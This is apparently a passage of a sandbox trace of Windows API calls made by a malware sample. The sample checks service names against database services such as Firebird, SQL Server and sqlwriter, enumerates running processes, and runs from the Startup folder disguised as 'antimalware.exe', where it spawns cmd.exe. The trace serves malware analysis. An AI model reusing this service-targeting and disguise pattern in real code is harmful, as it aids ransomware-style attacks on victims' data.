	[0160.463] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0160.463] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0160.463] lstrlenW (lpString="netprofm") returned 8
	[0160.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0160.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0160.463] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0160.463] lstrlenW (lpString="NgcSvc") returned 6
	[0160.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0160.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0160.463] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0160.463] lstrlenW (lpString="NlaSvc") returned 6
	[0160.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0160.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0160.463] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0160.463] lstrlenW (lpString="nsi") returned 3
	[0160.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0160.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0160.463] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0160.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0160.463] lstrlenW (lpString="PcaSvc") returned 6
	[0160.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0160.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0160.464] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0160.464] lstrlenW (lpString="PlugPlay") returned 8
	[0160.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0160.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0160.464] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0160.464] lstrlenW (lpString="Power") returned 5
	[0160.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0160.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0160.464] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0160.464] lstrlenW (lpString="ProfSvc") returned 7
	[0160.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0160.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0160.464] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0160.464] lstrlenW (lpString="RpcEptMapper") returned 12
	[0160.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0160.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0160.464] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0160.464] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0160.465] lstrlenW (lpString="RpcSs") returned 5
	[0160.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0160.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0160.465] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0160.465] lstrlenW (lpString="SamSs") returned 5
	[0160.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0160.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0160.465] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0160.465] lstrlenW (lpString="Schedule") returned 8
	[0160.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0160.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0160.465] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0160.465] lstrlenW (lpString="SecurityHealthService") returned 21
	[0160.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0160.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0160.465] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0160.465] lstrlenW (lpString="SENS") returned 4
	[0160.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0160.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0160.465] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0160.466] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0160.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0160.466] lstrlenW (lpString="ShellHWDetection") returned 16
	[0160.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0160.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0160.466] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0160.466] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0160.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0160.466] lstrlenW (lpString="Spooler") returned 7
	[0160.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0160.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0160.466] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0160.466] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0160.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0160.466] lstrlenW (lpString="StateRepository") returned 15
	[0160.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0160.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0160.466] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0160.466] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0160.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0160.467] lstrlenW (lpString="SysMain") returned 7
	[0160.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0160.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0160.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0160.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0160.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0160.467] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0160.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0160.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0160.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0160.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0160.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0160.467] lstrlenW (lpString="Themes") returned 6
	[0160.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0160.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0160.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0160.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0160.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0160.467] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0160.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0160.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0160.467] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0160.467] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0160.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4642fd8 | out: hHeap=0x4f0000) returned 1
	[0160.468] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x548
	[0160.477] Process32FirstW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0160.478] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0160.479] lstrlenW (lpString="System") returned 6
	[0160.480] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0160.480] lstrlenW (lpString="smss.exe") returned 8
	[0160.481] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0160.481] lstrlenW (lpString="csrss.exe") returned 9
	[0160.481] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0160.482] lstrlenW (lpString="wininit.exe") returned 11
	[0160.482] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0160.483] lstrlenW (lpString="csrss.exe") returned 9
	[0160.483] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0160.484] lstrlenW (lpString="winlogon.exe") returned 12
	[0160.484] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0160.485] lstrlenW (lpString="services.exe") returned 12
	[0160.485] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0160.487] lstrlenW (lpString="lsass.exe") returned 9
	[0160.487] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0160.489] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0160.489] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0160.490] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0160.490] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.492] lstrlenW (lpString="svchost.exe") returned 11
	[0160.492] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.493] lstrlenW (lpString="svchost.exe") returned 11
	[0160.493] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0160.494] lstrlenW (lpString="dwm.exe") returned 7
	[0160.495] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.546] lstrlenW (lpString="svchost.exe") returned 11
	[0160.546] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.547] lstrlenW (lpString="svchost.exe") returned 11
	[0160.547] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.549] lstrlenW (lpString="svchost.exe") returned 11
	[0160.549] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.550] lstrlenW (lpString="svchost.exe") returned 11
	[0160.550] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.551] lstrlenW (lpString="svchost.exe") returned 11
	[0160.551] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.552] lstrlenW (lpString="svchost.exe") returned 11
	[0160.552] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.553] lstrlenW (lpString="svchost.exe") returned 11
	[0160.553] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.554] lstrlenW (lpString="svchost.exe") returned 11
	[0160.554] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.555] lstrlenW (lpString="svchost.exe") returned 11
	[0160.556] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.557] lstrlenW (lpString="svchost.exe") returned 11
	[0160.557] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0160.558] lstrlenW (lpString="spoolsv.exe") returned 11
	[0160.558] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.559] lstrlenW (lpString="svchost.exe") returned 11
	[0160.559] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0160.560] lstrlenW (lpString="audiodg.exe") returned 11
	[0160.560] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0160.562] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0160.562] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0160.563] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0160.563] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0160.564] lstrlenW (lpString="sihost.exe") returned 10
	[0160.564] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0160.565] lstrlenW (lpString="Memory Compression") returned 18
	[0160.565] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0160.567] lstrlenW (lpString="svchost.exe") returned 11
	[0160.567] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0160.568] lstrlenW (lpString="taskhostw.exe") returned 13
	[0160.568] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0160.569] lstrlenW (lpString="msoia.exe") returned 9
	[0160.569] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0160.570] lstrlenW (lpString="taskhostw.exe") returned 13
	[0160.570] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0160.572] lstrlenW (lpString="explorer.exe") returned 12
	[0160.572] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0160.573] lstrlenW (lpString="SearchUI.exe") returned 12
	[0160.573] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0160.575] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0160.575] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0160.576] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0160.576] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0160.577] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0160.577] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0160.578] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0160.578] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0160.580] lstrlenW (lpString="cmd.exe") returned 7
	[0160.580] Process32NextW (in: hSnapshot=0x548, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
